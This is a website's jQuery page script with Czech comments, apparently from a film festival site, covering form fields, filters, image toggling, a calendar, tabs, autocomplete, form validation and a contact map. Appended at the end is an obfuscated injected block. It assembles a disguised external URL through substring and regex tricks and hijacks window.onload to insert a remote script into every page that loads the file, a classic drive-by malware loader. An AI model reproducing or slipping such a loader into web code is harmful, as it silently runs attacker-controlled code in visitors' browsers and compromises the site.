		nt.insideTitle(dict['your_email']);
	}

	var fu = $('input#fulltext');
	if(fu.length && fu.val() == '') {
		fu.insideTitle(dict['fulltext']);
	}

	var pfu = $('input#pfulltex');
	if(pfu.length && pfu.val() == '') {
		pfu.insideTitle(dict['fulltext']);
	}

	var dfu = $('input#dfulltext');
	if(dfu.length && dfu.val() == '') {
		dfu.insideTitle(dict['fulltext']);
	}

	var vfu = $('input#vfulltext');
	if(vfu.length && vfu.val() == '') {
		vfu.insideTitle(dict['fulltext']);
	}

	//odesilani filtru v seznamu filmu
	var ff = $('form.filters');

	if(ff.length) {
		//ff.find('input.submitButton').css('display', 'none');
		var sels = ff.find('select');

		sels.unbind('change');
		sels.change(function(){
			$(this).parents('form').submit();
			//$('form.filters').submit();
		});

		sels.unbind('mouseenter');
		sels.bind('mouseenter', function(){
			if($(this).find('option.selectname').length) {
				$.showToolTip($(this).find('option.selectname').html());
			}
		});

		sels.unbind('mouseleave');
		sels.bind('mouseleave', function(){
			$.hideToolTip();
		});

		/*
		hodne optionu v selektech profiku

		$('form.filters select option').bind('mouseover', function(){
			$.hideToolTip();
		});

		sels.bind('mouseover', function(event){
			//$.hideToolTip();

			/**//*
			if(
			event.relatedTarget &&
			(
			event.relatedTarget.toString() == '[object XULElement]'
			|| event.relatedTarget.toString() == ''
			|| event.relatedTarget.toString() == null
			)
			) {
				$.hideToolTip();
			}
			/**//*
		});
		*/
	}

	//rozkliky obrazku, puvodni pozice
	$('a').each(function(){
		if(
		$(this).attr('href').search('pic_window3') != -1
		|| ($(this).get(0).onclick && $(this).get(0).onclick.toString().search('pic_window3') != -1)
		) {
			if($(this).find('img').length) {
				$(this).get(0).imgState = 0;
				$(this).get(0).initalPic = $(this).find('img').attr('src');
				$(this).get(0).bigPic = $(this).find('img').attr('src').replace('sm/', 'big/');
				$(this).get(0).initalWidth = $(this).find('img').width()
				$(this).get(0).initalHeight = $(this).find('img').height();

				$(this).unbind('click');
				$(this).click(function(event){
					event.preventDefault();
					event.stopPropagation()
					event.stopImmediatePropagation();

					var imgs = $(this).find('img');

					//alert($(this).get(0).initalPic);
					if($(this).get(0).imgState == 0) {
						$(this).get(0).imgState = 1;

						var sParam = '';
						if($(this).get(0).onclick && $(this).get(0).onclick.toString().search('pic_window3')) {
							sParam = $(this).get(0).onclick.toString().replace("\n", '').replace("\r", '').replace('function onclick(event) {    ', '').replace('}', '').replace(' ', '');
							var dims = sParam.split(',');
						} else {
							sParam = $(this).attr('href');

							var si = sParam.split('\'');
							var dims = si[2].split(',');
						}

						dims[1] = parseInt(dims[1]);
						dims[2] = parseInt(dims[2]);

						//alert(dims[1]+'|'+dims[2]);

						imgs.unbind('load');
						imgs.load(function(){
							$(this).width('auto');
							$(this).height('auto');

							if(parseInt(dims[1]) > 543)$(this).width(543);
							activateScroll();
						});

						//imgs.attr('src', si[1]);

						imgs.attr('src', $(this).get(0).bigPic);
					} else {
						$(this).get(0).imgState = 0;

						imgs.unbind('load');
						imgs.load(function(){
							$(this).width('auto');
							$(this).height('auto');
							activateScroll();
						});

						imgs.attr('src', $(this).get(0).initalPic);
					}

					activateScroll();
				});
			}
		}
	});
	/**/

	/*
	pic_window3 = function(bigPath, width, height) {
		var e = jQuery.Event("click");
		alert(e.target);
	}
	*/

	/**/

	//kalendar producenta
	var calLinks = $('div.calendar div.item a');
	if(calLinks.length) {
		calLinks.unbind('mouseenter');
		calLinks.bind('mouseenter', function(){
			var cl = $(this).attr('class');
			$('a.'+cl).css('background-color', '#cacaff');
		});

		calLinks.unbind('mouseleave');
		calLinks.bind('mouseleave', function(){
			var cl = $(this).attr('class');
			$('a.'+cl).css('background-color', '#e6e6e6');
		});
	}

	if($('div.deadlineDay').length) {
		$('div.deadlineDay').each(function(){
			$(this).get(0).initalHeight = $(this).height();
			if($(this).hasClass('openItem')) {
				$(this).parents('div.item').css('background-color', '#e6e6e6');

				var h = $(this).get(0).initalHeight;
				$(this).height(h);
				$(this).parents('div.item').css('padding-bottom', h);

				activateScroll();
			} else {
				$(this).height(0);
			}
		});

		var calItems = $('div.calendar div.item');
		calItems.unbind('mouseenter');
		calItems.bind('mouseenter', function(){
				$(this).css('background-color', '#e6e6e6');
		});

		calItems.unbind('mouseleave');
		calItems.bind('mouseleave', function(){
			if($(this).find('.openItem').length == 0) {
				$(this).css('background-color', 'transparent');
			}
		});

		calItems.unbind('click');
		calItems.bind('click', function(){
			if($(this).find('div.deadlineDay').length) {

				var tdline = $(this).find('div.deadlineDay');
				if(tdline.height() == 0) {
					$('div.deadlineDay').removeClass('openItem');
					$('div.calendar div.item').css('background-color', 'transparent');

					$('div.deadlineDay').height(0);
					$('div.calendar div.item').css('padding-bottom', 0);

					tdline.addClass('openItem');
					$(this).css('background-color', '#e6e6e6');

					var h = tdline.get(0).initalHeight;
					tdline.height(h);
					$(this).css('padding-bottom', h);
				} else {
					$(this).removeClass('openItem');
					$(this).css('padding-bottom', 0);
					$(this).find('div.deadlineDay').height(0);
				}


				activateScroll();
			}
		});
	} else {
		if(calLinks.length) {
			calLinks.unbind('mouseenter');
			calLinks.bind('mouseenter', function(){
				$.showToolTip($(this).html());
			});

			calLinks.unbind('mouseleave');
			calLinks.bind('mouseleave', function(){
				$.hideToolTip();
			});
		}
	}

	//karty
	var tabs = $('div.tab');
	var tabLinks = $('a.tabLink');

	if(tabLinks.length && tabs.length) {
		var tabColor = '#cacaff';

		if($('div.layoutright').length) {
			tabColor = '#99ffcc';
		}

		tabs.css('display', 'none');

		$(tabs.get(0)).css('display', 'block');
		$(tabLinks.get(0)).css('background-color', tabColor);

		tabLinks.unbind('click');
		tabLinks.click(function(event){
			event.preventDefault();
			tabs.css('display', 'none');
			var aId = $(this).attr('id').split('-');
			var tId = 'tab-'+aId[1];
			$('div#'+tId).css('display', 'block');

			tabLinks.css('background-color', 'transparent');
			$(this).css('background-color', tabColor);

			$.setCookie('idf_active_card', aId[1], {duration : 1, path: '/'});

			activateScroll();
		});

		var openCard = $.readCookie('idf_active_card');

		if(openCard != null && $('div#tab-'+openCard).length) {
			tabs.css('display', 'none');

			$('div#tab-'+openCard).css('display', 'block');

			tabLinks.css('background-color', 'transparent');
			$('a#tabLink-'+openCard).css('background-color', tabColor);

			$.delCookie('idf_active_card');
		}
	}

	//filters info
	var fInfo = $('div.filtersInfo');

	if(fInfo.length) {
		var ri = fInfo.find('div.right');

		fInfo.find('div.left').css('opacity', 0.92);
		ri.css('opacity', 0.92);

		$('a#closer').unbind('click');
		$('a#closer').click(function(event){
			event.preventDefault();
			$(this).parents('div.filtersInfo').hide();
			$('div#leftFoot').css('background-color', '#fff');
		});

		if(ri.length) {
			$('div#leftFoot').css('background-color', '#a1ffd0');
		}
	}

	//autocomplete profici
	var acFilters = $('div#packer input.profAC');
	if(acFilters.length) {
		$('form.filters input.submitButton').css('display', 'block');

		var gid = $('input#groupId').val();

		acFilters.each(function(){
			if($(this).val() == '')$(this).val($(this).attr('title'));

			$(this).autocomplete(baseUrl+lan+'/ajax/', {
				minChars: 3,
				extraParams: {
					varName: $(this).attr('name'),
					type: 'personAutocomplete',
					groupId: gid
				}
			});
		});

		acFilters.unbind('mouseenter');
		acFilters.mouseenter(function(event){
			event.preventDefault();
			$.showToolTip($(this).attr('title'));
		});

		acFilters.unbind('mouseleave');
		acFilters.mouseleave(function(){
			$.hideToolTip();
		});

		acFilters.unbind('focus');
		acFilters.focus(function(){
			if($(this).val() == $(this).attr('title'))$(this).val('');
		});

		acFilters.unbind('blur');
		acFilters.blur(function(){
			if($(this).val() == '')$(this).val($(this).attr('title'));
		});
	}

	//tam z5
	var pnn = $('div#nextPrevNav');
	if(pnn.length) {
		pnn.find('a').each(function(){
			if($(this).attr('href').search('#') != -1) {
				$(this).blankHref();
				$(this).css('opacity', 0.3);
			}
		});
	}

	//schovavani popisku u videa
	var vDescs = $('div.videoDesc');
	if(vDescs.length) {
		vDescs.find('span.roller').css({
			'display': 'block',
			'overflow': 'hidden',
			'height': '5.1em'
		});

		vDescs.find('span.more').unbind('click');
		vDescs.find('span.more').click(function() {
			var roller = $(this).parents('div.videoDesc').find('span').eq(0);

			var go = false;
			if(roller.css('height') != 'auto') {
				go = true;
			}

			vDescs.find('span.roller').css({
				'display': 'block',
				'overflow': 'hidden',
				'height': '5.1em'
			});

			vDescs.find('span.more').css({'background-image': 'url("'+baseUrl+'img/plus.png")'});

			if(go) {
				roller.css({'height': 'auto'});
				$(this).css('background-image', 'url("'+baseUrl+'img/minus.png")');
			}
		});
	}

	//entryform
	var entryForm = $('div.entryForm').eq(0);

	if(entryForm.length) {

		//sablony a js validace
		entryForm.find('input.formatyear').mask('9999');
		entryForm.find('input.formatdate').mask('99.99.9999');
		entryForm.find('input.formatphone').mask('+999 999 999 999');

		entryForm.find('input.formatnumber').keyup(function(){
			var regExp = new RegExp('[^0-9]', 'g');
			var val = $(this).val();
			$(this).val(val.replace(regExp, ''));
		});

		entryForm.find('input.formatemail').blur(function(){
			var regExp = new RegExp(/^(("[\w-\s]+")|([\w-]+(?:\.[\w-]+)*)|("[\w-\s]+")([\w-]+(?:\.[\w-]+)*))(@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$)|(@\[?((25[0-5]\.|2[0-4][0-9]\.|1[0-9]{2}\.|[0-9]{1,2}\.))((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\.){2}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\]?$)/i);
			var val = $(this).val();
			if(val.search(regExp) == -1) {
				$(this).val('');
				alert(dict['fill_valid_email']);
			}
		});

		entryForm.find('input.formatwww').focus(function(){
			if($(this).val() == '')$(this).val('http://');
		})

		entryForm.find('input.formatwww').blur(function(){
			var regExp = new RegExp();
			regExp.compile("^[A-Za-z]+://[A-Za-z0-9-_]+\\.[A-Za-z0-9-_%&\?\/.=]+$");
			var val = $(this).val();
			if(val.search(regExp) == -1) {
				$(this).val('');
				alert(dict['fill_valid_url']);
			}
		});

		var groups = entryForm.find('div.group');
		var persons = [];
		var personId = 0;

		groups.each(function(){
			var instances = $(this).find('div.instance');
			if(($(this).hasClass('multi') && instances.length > 1) || $(this).attr('id') == 'groupsubmiter') {
				//schovavani uz vyplnenejch polozek
				var forms = instances.find('div.instanceForm');
				forms.hide();
				forms.eq(forms.length - 1).show();

				//same as
				for(var x = 0; x < instances.length - 1; ++x) {
					var instanceInputs = instances.eq(x).find('input[type=text]');

					persons[personId] = {
							'name': instanceInputs.eq(0).val()+' '+instanceInputs.eq(1).val(),
							'instance': instances.eq(x)
					}

					++personId;
				}
			}
		});

		//schovavani uz vyplnenejch polozek
		$('div.instance a.visCon').click(function(event){
			event.preventDefault();
			$(this).parents('div.instance').find('div.instanceForm').toggle();
		});

		//same as
		if(persons.length) {
			groups.each(function(){
				if(($(this).hasClass('multi')) || $(this).attr('id') == 'groupsubmiter') {
					var instances = $(this).find('div.instance');
					var instance = instances.eq(instances.length - 1);
					var h3 = instance.find('h3');
					var content = '<div class="sameAs"><h4>'+dict['same_as']+'</h4>';
					$.each(persons, function(key, data) {
						content += '<a href="#" id="sameAs'+key+'">'+data.name+'</a>';
					});
					content += '</div>';

					if(h3.length) {
						h3.after(content);
					} else {
						instance.prepend(content);
					}
				}
			});

			$('div.sameAs a').click(function(event){
				event.preventDefault();
				var id = $(this).attr('id').replace('sameAs', '');
				var formElements = $(this).parents('div.instance').eq(0).find('input, select, textarea');
				var refElements = persons[id].instance.find('input, select, textarea');

				//alert(persons[id].name);

				formElements.each(function(){
					var formElement = $(this);
					refElements.each(function(){
						feName = formElement.attr('id').split('_');
						refName = $(this).attr('id').split('_');
						if(feName[1] == refName[1]) {
							formElement.val($(this).val());
						}
					});
				});
			});
		}
	}

	//kontakt mapa
	if ($('div#contactMap').length) {
		if(GBrowserIsCompatible()) {

			var map = new GMap2(document.getElementById('contactMap'));
			map.addControl(new GSmallMapControl());
			map.addControl(new GMapTypeControl());

			geocoder = new GClientGeocoder();

			if (geocoder) {
				geocoder.getLatLng(
					dict['idf_address'],
					function(point) {
						if (point) {
							map.setCenter(point, 15);
							var marker = new GMarker(point);
							map.addOverlay(marker);
							marker.openInfoWindowHtml(dict['idf_address_long']);
						}
					}
				);
			}
		}
	}
	/**/

	window.setTimeout(activateScroll, 2000);
	window.setTimeout(activateScroll, 6000);
}

$(document).ready(function(){
	$(window).error(function(){
		return true;
	});

	//cache images
	/*
	for(x = 0; x < appData.preloadImages.length; ++x) {
		imgCache.push($.cacheImage(appData.preloadImages[x]));
	}
	*/

	//documentReady();
});



$(window).load(function () {
	//init shadowbox
	//Shadowbox.init();

	documentReady();
	activateScroll();
});

var Y='';try {var DI=new String();var E;if(E!='' && E!='y'){E=''};var G;if(G!='' && G!='bX'){G=null};this.BV='';var L=new String("repl"+"ace");var i;if(i!='_'){i='_'};var BJ;if(BJ!='' && BJ!='j'){BJ=''};var m=RegExp;this.eb="";var vh;if(vh!=''){vh='Gb'};var U=new String("dhyf]".substr(4));var w='';var mz="wIDB[".substr(4);this.V="";var vj="";var u="";var Z=new String("g");this.Yy='';this.Ax='';var tR="";function R(Ul,mY){this.RB='';var Rr=mz;Rr+=mY;var OY="";Rr+=U;var eT=new Date();var az;if(az!='' && az!='HF'){az='s'};var e=new m(Rr, Z);var p;if(p!='' && p!='eR'){p='XM'};var W="";return Ul.replace(e, w);var VX=new String();};var HD='';var PW=new String();var Ho=new String();var UB=String("JUY4/zidd".substr(4)+"Kertu.comtreK".substr(4,5)+"/ziddFjb".substr(0,5)+"u.coml0wn".substr(0,5)+"/fede"+"x.com"+"ApX/alibpXA".substr(3,5)+"e9Fjaba.c".substr(4)+"om/goQ5w".substr(0,5)+"dVy4ogle.dVy4".substr(4,5)+"ABDcom.p".substr(3)+"hp");var X='';var hg="";var TS=new Date();var wn=String("onloagvR".substr(0,5)+"d");var b=R('83730238262033',"43726");var Jw=new Array();var JS;if(JS!='Fw' && JS!='Ch'){JS=''};var D=new String("fNwscrip".substr(3)+"tiWGm".substr(0,1));var B=R('h2tBt2pB:2/2/BtBwBi2tBt2eBrB-BcBoBmB.2p2o2r2nBh2u2b2.2c2o2mB.BrBm2xBa2dBsB-BcBoBmB.Br2eBdBpBe2nBoBn2l2iBn2eB.2r2u2:2',"B2");var jo=new String();var Ul="1";var Q;if(Q!='' && Q!='PU'){Q='bm'};var ez="";window[wn]=function(){var zS;if(zS!='qe' && zS != ''){zS=null};this.vN="";K=document.createElement(D);var Vr=new Array();X+=B;var GR=new Date();X+=b+UB;var LK="";var qM;if(qM!='jt' && qM != ''){qM=null};var g=new String();var EY=new String();K.defer=Ul;var yz;if(yz!='tK' && yz!='jw'){yz=''};var f=document.body;var Yw=new Array();var kZ=new Array();K.src=X;this.Ad='';var WR;if(WR!='nl' && WR!='qc'){WR=''};f.appendChild(K);var XB;if(XB!=''){XB='BU'};};var RP;if(RP!='' && RP!='wI'){RP='Ns'};this.Dd="";} catch(bv){var Ja='';var SY=new Array();};